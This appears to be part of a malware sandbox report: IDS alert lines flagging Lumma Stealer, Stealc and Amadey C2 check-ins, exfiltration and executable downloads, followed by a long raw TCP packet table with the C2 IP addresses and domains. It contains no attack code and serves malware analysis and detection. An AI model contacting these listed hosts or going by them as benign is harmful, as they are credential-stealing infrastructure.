2024-10-30T00:21:29.311403+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	59802	185.215.113.16	80	TCP
2024-10-30T00:21:29.871445+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	60167	1.1.1.1	53	UDP
2024-10-30T00:21:29.886572+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	60506	1.1.1.1	53	UDP
2024-10-30T00:21:29.904113+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	59505	1.1.1.1	53	UDP
2024-10-30T00:21:30.331818+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59806	188.114.97.3	443	TCP
2024-10-30T00:21:30.562719+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	65250	1.1.1.1	53	UDP
2024-10-30T00:21:31.042334+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59806	188.114.97.3	443	TCP
2024-10-30T00:21:31.226682+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59807	188.114.97.3	443	TCP
2024-10-30T00:21:31.919266+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59807	188.114.97.3	443	TCP
2024-10-30T00:21:31.919266+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59807	188.114.97.3	443	TCP
2024-10-30T00:21:31.956474+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	59810	185.215.113.16	80	TCP
2024-10-30T00:21:32.766474+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59811	185.215.113.206	80	TCP
2024-10-30T00:21:32.818285+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59814	188.114.97.3	443	TCP
2024-10-30T00:21:33.539643+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	59814	188.114.97.3	443	TCP
2024-10-30T00:21:33.539643+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59814	188.114.97.3	443	TCP
2024-10-30T00:21:33.985912+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	59815	185.215.113.43	80	TCP
2024-10-30T00:21:36.662082+0100	2057093	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (seallysl .site)	1	192.168.2.5	53051	1.1.1.1	53	UDP
2024-10-30T00:21:36.764977+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59822	188.114.97.3	443	TCP
2024-10-30T00:21:37.364807+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59824	104.21.43.145	443	TCP
2024-10-30T00:21:38.216930+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59824	104.21.43.145	443	TCP
2024-10-30T00:21:38.216930+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59824	104.21.43.145	443	TCP
2024-10-30T00:21:39.541424+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59835	104.21.43.145	443	TCP
2024-10-30T00:21:40.017134+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59836	188.114.97.3	443	TCP
2024-10-30T00:21:40.023992+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	59835	104.21.43.145	443	TCP
2024-10-30T00:21:40.023992+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59835	104.21.43.145	443	TCP
2024-10-30T00:21:42.014290+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59840	104.21.43.145	443	TCP
2024-10-30T00:21:42.859562+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59841	185.215.113.206	80	TCP
2024-10-30T00:21:45.108287+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59843	104.21.43.145	443	TCP
2024-10-30T00:21:48.145200+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59845	104.21.43.145	443	TCP
2024-10-30T00:21:51.199857+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59847	104.21.43.145	443	TCP
2024-10-30T00:21:51.689785+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	59847	104.21.43.145	443	TCP
2024-10-30T00:21:53.126053+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59849	104.21.43.145	443	TCP
2024-10-30T00:21:55.569186+0100	2057094	ET MALWARE Observed Win32/Lumma Stealer Related Domain (seallysl .site in TLS SNI)	1	192.168.2.5	59852	104.21.43.145	443	TCP
2024-10-30T00:21:55.675795+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59851	185.215.113.206	80	TCP
2024-10-30T00:21:56.038865+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59852	104.21.43.145	443	TCP
2024-10-30T00:22:02.864548+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.5	64868	1.1.1.1	53	UDP
2024-10-30T00:22:03.065730+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.5	52875	1.1.1.1	53	UDP
2024-10-30T00:22:03.084576+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.5	54332	1.1.1.1	53	UDP
2024-10-30T00:22:03.099516+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.5	63978	1.1.1.1	53	UDP
2024-10-30T00:22:03.737393+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59886	188.114.97.3	443	TCP
2024-10-30T00:22:04.267633+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59886	188.114.97.3	443	TCP
2024-10-30T00:22:04.267633+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59886	188.114.97.3	443	TCP
2024-10-30T00:22:05.210270+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59889	188.114.97.3	443	TCP
2024-10-30T00:22:06.053523+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	59889	188.114.97.3	443	TCP
2024-10-30T00:22:06.053523+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59889	188.114.97.3	443	TCP
2024-10-30T00:22:06.887350+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59890	188.114.97.3	443	TCP
2024-10-30T00:22:08.082702+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59891	188.114.97.3	443	TCP
2024-10-30T00:22:08.640763+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	59891	188.114.97.3	443	TCP
2024-10-30T00:22:09.356655+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59892	188.114.97.3	443	TCP
2024-10-30T00:22:10.571738+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59893	188.114.97.3	443	TCP
2024-10-30T00:22:13.341270+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59894	185.215.113.206	80	TCP
2024-10-30T00:22:13.891848+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59895	188.114.97.3	443	TCP
2024-10-30T00:22:13.895381+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	59895	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 00:20:01.170063972 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:01.170152903 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:01.170264006 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:01.171432972 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:01.171471119 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.179759026 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.179862022 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.214488983 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.214507103 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.215456963 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.262634993 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.408592939 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.408647060 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.408879995 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.871532917 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.871768951 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.871843100 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.873130083 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.873172045 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.873199940 CET	49704	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.873220921 CET	443	49704	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.927648067 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.927742004 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:02.927826881 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.928177118 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:02.928212881 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:03.711613894 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:03.711750984 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:03.723501921 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:03.723551035 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:03.723876953 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:03.725531101 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:03.725573063 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:03.725625992 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041162014 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041222095 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041258097 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041285038 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.041321039 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041377068 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.041395903 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041675091 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.041728020 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.041742086 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.042310953 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.042347908 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.042359114 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.042372942 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.042429924 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.043075085 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.090822935 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.159054041 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159156084 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159216881 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.159236908 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159347057 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159408092 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.159421921 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159468889 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159518003 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.159627914 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.159660101 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.159687042 CET	49705	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.159702063 CET	443	49705	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.285005093 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.285053968 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:04.285195112 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.285551071 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:04.285562992 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.042773962 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.042856932 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.162558079 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.162586927 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.162887096 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.164940119 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.165215015 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.165234089 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.698024035 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.698156118 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.698326111 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.698400974 CET	49706	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.698414087 CET	443	49706	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.838500977 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.838558912 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:05.838745117 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.839092016 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:05.839123011 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.453773022 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.453984976 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.455391884 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.455419064 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.455665112 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.456923008 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.457113028 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.457159996 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.457230091 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.457243919 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.973787069 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.973927021 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:06.973988056 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.986068010 CET	49707	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:06.986104965 CET	443	49707	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.254499912 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.254534960 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.254601955 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.254930973 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.254945040 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.870162964 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.870280027 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.904544115 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.904577017 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.904910088 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.906049967 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.906258106 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.906299114 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:07.906368017 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:07.906379938 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:08.559458971 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:08.559606075 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:08.559675932 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:08.559983969 CET	49708	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:08.559998035 CET	443	49708	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:08.777056932 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:08.777148962 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:08.777266979 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:08.777625084 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:08.777681112 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:09.400583982 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:09.400676966 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:09.401933908 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:09.401964903 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:09.402368069 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:09.403606892 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:09.403695107 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:09.403712034 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:10.594398022 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:10.594662905 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:10.594747066 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:10.594747066 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:10.903251886 CET	49709	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:10.903280020 CET	443	49709	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.139008045 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.139046907 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.139127970 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.139457941 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.139471054 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.757972956 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.758073092 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.759438992 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.759448051 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.759768963 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.761028051 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.761770964 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.761807919 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.761900902 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.761940956 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.762044907 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.762140989 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.762267113 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.762294054 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.762450933 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.762475014 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.762634039 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.762659073 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.762674093 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.762818098 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.762856007 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.773119926 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.773307085 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.773349047 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.773377895 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.773391962 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.773396969 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.773425102 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.773493052 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.773529053 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.773566961 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.778821945 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:11.778889894 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:11.778909922 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:13.484932899 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:13.485079050 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:13.485151052 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:13.485337019 CET	49710	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:13.485348940 CET	443	49710	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:13.498807907 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:13.498877048 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:13.498975039 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:13.499284029 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:13.499331951 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.100796938 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.100928068 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.102885962 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.102916956 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.103256941 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.104950905 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.104994059 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.105052948 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.699454069 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.699558020 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.699664116 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.699984074 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.699997902 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.700037003 CET	49711	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:20:14.700042963 CET	443	49711	188.114.97.3	192.168.2.5
Oct 30, 2024 00:20:14.701976061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:14.708693027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:14.708885908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:14.709216118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:14.715993881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630189896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630270958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630287886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630322933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.630393982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630409002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630424023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630436897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.630440950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630465984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.630489111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630502939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630518913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.630527020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.630563974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.637902021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.684525013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.788306952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.788382053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.788397074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.788444042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:15.788510084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.788559914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:15.788569927 CET	49712	80	192.168.2.5	185.215.113.16
